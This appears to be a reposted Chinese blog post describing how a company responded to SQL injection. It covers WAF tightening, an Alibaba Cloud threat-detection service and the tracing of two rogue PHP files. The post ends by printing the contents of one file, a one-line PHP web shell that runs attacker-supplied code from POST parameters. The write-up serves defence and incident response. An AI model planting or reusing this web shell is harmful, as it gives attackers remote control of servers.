時(shí)間:2024-03-09 11:51作者:下載吧人氣:20
引言
一波未平,一波又起。金融公司的業(yè)務(wù)實(shí)在是太引人耳目,何況我們公司的業(yè)處正處于風(fēng)口之上(區(qū)塊鏈金融),并且每天有大量現(xiàn)金交易,所以不知道有多少躲在暗處一直在盯著你的系統(tǒng),讓你防不勝防,并且想方設(shè)法的找到突破點(diǎn),以達(dá)到的目的來(lái)獲取非法利益。
俗話說(shuō):“道高一尺,魔高一丈”。系統(tǒng)和代碼也可以這么理解,防的在好,總有漏洞。系統(tǒng)和代碼也沒(méi)有絕對(duì)的安全。該來(lái)的總會(huì)來(lái)……
sql注入與“她”相遇
某一天,天氣晴朗,心情舒暢。“她”來(lái)了,打破了筆者的美好時(shí)光。下午2點(diǎn)多鐘,筆者和朋友在蘇州街的天使匯二樓極客咖啡參加某個(gè)云廠商的Kubernetes一場(chǎng)技術(shù)沙龍,正聽(tīng)得興致勃勃的時(shí)候,筆者的公司群里有個(gè)php開(kāi)發(fā)突然帖出一張圖:
這個(gè)時(shí)候,群里翻騰了。沒(méi)錯(cuò),被SQL注入了,數(shù)據(jù)庫(kù)的表被注入了字段,并且經(jīng)檢查后,發(fā)現(xiàn)這個(gè)庫(kù)中的大部分表都被注入了這個(gè)字段。我的電腦沒(méi)帶在身邊,真是著急,馬上跟總監(jiān)說(shuō)明問(wèn)題嚴(yán)重性。由于我電腦不在身邊, 只能把數(shù)據(jù)庫(kù)賬號(hào)授權(quán)(讀寫(xiě)權(quán)限)給那個(gè)php開(kāi)發(fā),讓他檢查所有的表,把被注入的字段刪除掉。并查看數(shù)據(jù)和其它表有沒(méi)有被修改。好在發(fā)現(xiàn)急時(shí),數(shù)據(jù)和業(yè)務(wù)都沒(méi)有被丟失和損壞。
這里我要說(shuō)明一下,我們的業(yè)務(wù)都在阿里云,項(xiàng)目是以php為主,并且開(kāi)通了waf防火墻,只是waf上的防護(hù)措施比較寬松。筆者在安全方面的經(jīng)驗(yàn)也比較欠缺,好在開(kāi)通了阿里云的WAF,讓筆者在排查和防護(hù)上也變得輕松和快捷。
此時(shí),我已經(jīng)在回家的路上,回到家中迅速打開(kāi)電腦。
調(diào)整waf策略
由于筆者也是剛接手工作,阿里云上的很多策略還沒(méi)得到及時(shí)調(diào)整。所以才這么容易被攻進(jìn)來(lái)。即然被注入了,肯定要把源給揪出來(lái)。我也在次把所有的表都檢查一遍,確認(rèn)沒(méi)問(wèn)題后,在去調(diào)整waf策略,進(jìn)入阿里云。
1、進(jìn)入相關(guān)域名的防護(hù)配置,我們先來(lái)看下調(diào)整前的策略,如下圖:
從上圖可以看出,“Web應(yīng)用防護(hù)”策略是寬松模式,其主要作用就是防護(hù)SQL注入、XSS跨站等常見(jiàn)Web應(yīng)用,寬松模式下對(duì)業(yè)務(wù)的誤報(bào)程度最低,但也容易漏過(guò)***。“惡意IP懲罰”也沒(méi)啟用。這么寬松的防護(hù)措施風(fēng)險(xiǎn)比較大。趕緊先調(diào)整吧。
2、調(diào)整后的策略(如有多個(gè)域名,都調(diào)整過(guò)來(lái)),如下圖:
防護(hù)策略調(diào)整過(guò)了,還需要把問(wèn)題根源找到啊,這才是最重要的!!!
查找可疑文件
此時(shí),php的項(xiàng)目源碼分布在好幾臺(tái)服務(wù)器上,如果靠傳統(tǒng)方式去排查,挨個(gè)檢查這些服務(wù)器的目錄,各種能用的命令都用上了,是不是也挺費(fèi)勁費(fèi)時(shí)的,還不知道要查到啥時(shí)候。這個(gè)時(shí)候,阿里有項(xiàng)服務(wù)起到關(guān)鍵的作用了:“態(tài)勢(shì)感知”,這個(gè)需要升級(jí)為企業(yè)版本(費(fèi)用不高,我們公司開(kāi)通了一年,費(fèi)用6000多塊)。這就是用阿里的好處(不是打廣告),確實(shí)讓你省心。
1、進(jìn)入“態(tài)勢(shì)感知”查看一下,就立馬發(fā)現(xiàn)了一堆異常行為,遍布在好幾臺(tái)服務(wù)器上如下圖:
2、點(diǎn)幾個(gè)異常行為進(jìn)入看看,我就打開(kāi)其中兩個(gè)行為看一下,其它的行為也都差不多,如下圖:
從命令行參數(shù)中可以看出相關(guān)目錄有/Mode/Lite/ ,并且給出的解決方案是及時(shí)排查可疑目錄下的信息并及時(shí)清除。筆者順著給出的提示在服務(wù)器上進(jìn)行 find 相關(guān)目錄,查找出目錄所在路徑,如下圖:
順藤摸瓜吧,列一下這個(gè)目錄的文件:
從上圖發(fā)現(xiàn)了有兩個(gè)異常的php文件,目錄屬主也和其它文件不一樣,筆者打開(kāi)代碼倉(cāng)庫(kù)也進(jìn)入相同的目錄進(jìn)行比對(duì),代碼倉(cāng)庫(kù)中確實(shí)沒(méi)有這兩個(gè)文件。為了確認(rèn)清楚,把這兩個(gè)文件down下來(lái)發(fā)給開(kāi)發(fā)。開(kāi)發(fā)說(shuō)項(xiàng)目中沒(méi)有這兩個(gè)文件。把它down下來(lái)打開(kāi)文件看看:
Content.class.php文件內(nèi)容:
<?php @($_=base64_decode($_POST[1])).$_(hex2bin($_POST[2]))?> }
網(wǎng)友評(píng)論